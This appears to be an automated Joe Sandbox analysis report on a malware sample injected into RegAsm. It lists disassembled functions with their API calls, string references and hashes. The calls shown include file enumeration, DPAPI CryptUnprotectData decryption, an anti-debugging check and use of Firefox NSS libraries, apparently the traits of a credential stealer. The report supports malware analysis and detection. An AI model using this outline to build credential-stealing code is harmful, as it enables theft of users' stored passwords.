Instruction ID: b44e924cbe8592ca2f8a18675e86348f588abed36faca464ea652d8c24e0cc8a
Opcode Fuzzy Hash: f76efd3eb63fc20dfd556e70eddfba32497628ef78775fae3ae8fdc1cb04a5c5
Instruction Fuzzy Hash: 2371503170830AAFEB089F64DC96A6E7779FB57324F144629E91287E80DB34D942C7D2

Function 6C91AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CA3CF46,?,6C90CDBD,?,6CA3BF31,?,?,?,?,?,?,?), ref: 6C91B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CA3CF46,?,6C90CDBD,?,6CA3BF31), ref: 6C91B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CA3CF46,?,6C90CDBD,?,6CA3BF31), ref: 6C91B0A2
CloseHandle.KERNEL32(?,?,6CA3CF46,?,6C90CDBD,?,6CA3BF31,?,?,?,?,?,?,?,?,?), ref: 6C91B100
sqlite3_free.NSS3(?,?,00000002,?,6CA3CF46,?,6C90CDBD,?,6CA3BF31,?,?,?,?,?,?,?), ref: 6C91B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CA3CF46,?,6C90CDBD,?,6CA3BF31), ref: 6C91B12D

Part of subcall function 6C909EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C91C6FD,?,?,?,?,6C96F965,00000000), ref: 6C909F0E
Part of subcall function 6C909EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C96F965,00000000), ref: 6C909F5D

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: affb82781b9bda61040c7554d6b373782c144d5e007456da370ab66a014b0fca
Instruction ID: 50f24b080caec9154769cf430a8c7db9a72bfe320b40f1e64d187c12d34fc436
Opcode Fuzzy Hash: affb82781b9bda61040c7554d6b373782c144d5e007456da370ab66a014b0fca
Instruction Fuzzy Hash: 1391E1B0A0830A8FDB04CF64C986B6BB7B6BF45308F15862DE41697B50EB34E955CB91

Function 6CA98D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CAE14E4,6CA4CC70), ref: 6CA98D47
PR_GetCurrentThread.NSS3 ref: 6CA98D98

Part of subcall function 6C970F00: PR_GetPageSize.NSS3(6C970936,FFFFE8AE,?,6C9016B7,00000000,?,6C970936,00000000,?,6C90204A), ref: 6C970F1B
Part of subcall function 6C970F00: PR_NewLogModule.NSS3(clock,6C970936,FFFFE8AE,?,6C9016B7,00000000,?,6C970936,00000000,?,6C90204A), ref: 6C970F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CA98E7B
htons.WSOCK32(?), ref: 6CA98EDB
PR_GetCurrentThread.NSS3 ref: 6CA98F99
PR_GetCurrentThread.NSS3 ref: 6CA9910A

Strings

%u.%u.%u.%u, xrefs: 6CA98E74

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 4e976bd33dc5a9b52e1a5169f69d4be8685ef3282135bb2a3c2fef6b46eff97e
Instruction ID: 822b5c1feee6ca37f1dc2ea8657437a1db7b45026403cf0ab53e2e1e525be129
Opcode Fuzzy Hash: 4e976bd33dc5a9b52e1a5169f69d4be8685ef3282135bb2a3c2fef6b46eff97e
Instruction Fuzzy Hash: 1002AA319152518FDB18CF29C56A76ABBF2EF42308F2D825EC8965FB91C331D989C790

Function 0040DC50 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C19), ref: 0040DC9E
StrCmpCA.SHLWAPI(?,0042146C), ref: 0040DCEE
StrCmpCA.SHLWAPI(?,00421470), ref: 0040DD04
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E220
FindClose.KERNEL32(000000FF), ref: 0040E232

Strings

t@, xrefs: 0040DC72, 0040E240, 0040DD33, 0040DCB5, 0040DD36
\*.*, xrefs: 0040DC66

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*$t@
API String ID: 2325840235-663382066
Opcode ID: f1ca848d7988d7fd75b545473e61763f3332d63cfed14334e254e43c62b8fdf1
Instruction ID: e9223715fb7ea1854cb62e564a6307543a1272858c9b536fbbbe29962c1fc9f0
Opcode Fuzzy Hash: f1ca848d7988d7fd75b545473e61763f3332d63cfed14334e254e43c62b8fdf1
Instruction Fuzzy Hash: 3EF1FE71915118AACB15FB61DC95AEEB338AF24314F8041DFB40A62091EF782BD9CF5A

Function 6C8B2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C8B2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C8B2C61

Part of subcall function 6C864DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C864E5A
Part of subcall function 6C864DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C864E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C8B2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C8B2E2D

Part of subcall function 6C8781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C8781DE

Strings

expected a Time entry, xrefs: 6C8B2E36
(root), xrefs: 6C8B354F
ProfileBuffer parse error: %s, xrefs: 6C8B2E3B

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 74bd75e5deb2dcb300fbdead506658c4f5147588cfba3f129a868a7f8d46b717
Instruction ID: a560e895499ce5aec4f0851d6fb167dae3040738deb5c37b896d0c75b79769ce
Opcode Fuzzy Hash: 74bd75e5deb2dcb300fbdead506658c4f5147588cfba3f129a868a7f8d46b717
Instruction Fuzzy Hash: 1591EF706087448FC734CF28C69069EB7E0AFCA358F144E2DE59AAB750DB34E949CB52

Function 6CA168E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CA168FC
PR_EnterMonitor.NSS3 ref: 6CA16924

Part of subcall function 6CA49090: TlsGetValue.KERNEL32 ref: 6CA490AB
Part of subcall function 6CA49090: TlsGetValue.KERNEL32 ref: 6CA490C9
Part of subcall function 6CA49090: EnterCriticalSection.KERNEL32 ref: 6CA490E5
Part of subcall function 6CA49090: TlsGetValue.KERNEL32 ref: 6CA49116
Part of subcall function 6CA49090: LeaveCriticalSection.KERNEL32 ref: 6CA4913F

Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707AD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707CD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707D6
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C90204A), ref: 6C9707E4
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,6C90204A), ref: 6C970864
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C970880
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,6C90204A), ref: 6C9708CB
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708D7
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708FB

PR_EnterMonitor.NSS3 ref: 6CA1693E
TlsGetValue.KERNEL32 ref: 6CA16977
TlsGetValue.KERNEL32 ref: 6CA169B8
PR_ExitMonitor.NSS3 ref: 6CA16B1E
PR_ExitMonitor.NSS3 ref: 6CA16B39
TlsGetValue.KERNEL32 ref: 6CA16B62

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 4830d4ac250737ee51dc6db2322ca41d48e0a64fa04eeaea571165fea7fbcbc4
Instruction ID: 891501081556953c465e98d460407e7bce3bacc4d4897a8f575c039de9ec968b
Opcode Fuzzy Hash: 4830d4ac250737ee51dc6db2322ca41d48e0a64fa04eeaea571165fea7fbcbc4
Instruction Fuzzy Hash: FB91387869C200CBDB54DF2DC48055D7BB2EB87308B66C259D844CBF29D7759AC2CB92

Function 00409B10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

Strings

>O@, xrefs: 00409B24, 00409B31, 00409B49, 00409B68, 00409B34, 00409B6B

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: >O@
API String ID: 4291131564-3498640338
Opcode ID: 51d6155b46c97a52efa385d52040a93a20dc9faff1265f51667d84e9c93c90dd
Instruction ID: 421755d6b48e33095a5169d11db47f4caeee54bd02e7bdd1b67a963d2e3b7d6d
Opcode Fuzzy Hash: 51d6155b46c97a52efa385d52040a93a20dc9faff1265f51667d84e9c93c90dd
Instruction Fuzzy Hash: 7F11C074240308AFEB10CF64CC95FAA77B6FB89710F208059F9199B3D0C7B5A942CB54

Function 0041ACFA Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041B562
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041B577
UnhandledExceptionFilter.KERNEL32(0041F298), ref: 0041B582
GetCurrentProcess.KERNEL32(C0000409), ref: 0041B59E
TerminateProcess.KERNEL32(00000000), ref: 0041B5A5

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: f83f28cb76d01a588ba20aedf737648f300cf2348463cefc92e4954df8d9d801
Instruction ID: e298f46f0b3396334d2e2e37c4a67069ca1d3d313a6b9180192500d6cd60c5fb
Opcode Fuzzy Hash: f83f28cb76d01a588ba20aedf737648f300cf2348463cefc92e4954df8d9d801
Instruction Fuzzy Hash: 2F21D678600214DFD720EF59F9D4AA97BB5FB08314F90803AE809D7261E7B46586CF9D

Function 00407280 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0), ref: 0040728D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407294
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004072C1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407CD0,80000001,00415CA4), ref: 004072E4
LocalFree.KERNEL32(?,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 004072EE

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 5915e9d016c50e8c8afbc1db5a49932ad24ad0ff49fd5d82b8f52955bd254427
Instruction ID: 878b0d7115cd8d43870734417daae2c605d8a0a5a409213b4f7418bdd2279ebf
Opcode Fuzzy Hash: 5915e9d016c50e8c8afbc1db5a49932ad24ad0ff49fd5d82b8f52955bd254427
Instruction Fuzzy Hash: 31014071A40208BBDB10DF94CC46F9E7779BB44700F204055FB05BB2D0D6B0AA019BA9

Function 6CA9CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9D086
PR_Malloc.NSS3(00000001), ref: 6CA9D0B9
PR_Free.NSS3(?), ref: 6CA9D138

Strings

>, xrefs: 6CA9CF5B

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: c0c11b3d86ff4bc14fe2ab4a8e7154c3fef6669a2df71414142ca353004b4b49
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 82D13B73F65A460BEB14487D8CA33E977E38742378F684325D5229BBE5E61988C3C341

Function 6C8D545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C8D8A4B

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: cb6f0efd25479a89449ee81ec4485888d4ea9ea4241cf09db376103ca6fd3a22
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 09B1D872E0021A8FDB24CF68CDD0B99B7B2EF85314F1506BAC549DB791D730A985CB90

Function 6C8D542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C8D88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C8D925C

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: ce50a1e1215dc6756af6d84d0969f60f2166ec2b2224c39c18efd0fd4b27a5a2
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 8DB1C572E0420ACFCB24CF58CD916ADB7B2EF85314F15067AC549EB785D730A989CB90

Function 6CA3AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71102690003ce3006b791677be35e922b843c35c23aeeaf810bceee5e659a629
Instruction ID: d9385b4fc2208fc6d8c26d8638370986b5b0262609c8895752cc76afd87a60a3
Opcode Fuzzy Hash: 71102690003ce3006b791677be35e922b843c35c23aeeaf810bceee5e659a629
Instruction Fuzzy Hash: 87F1C071F416768BDB08CF68D8543AAB7F2AB4A304F19823DD909D7750E774A992CBC0

Function 00418940 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
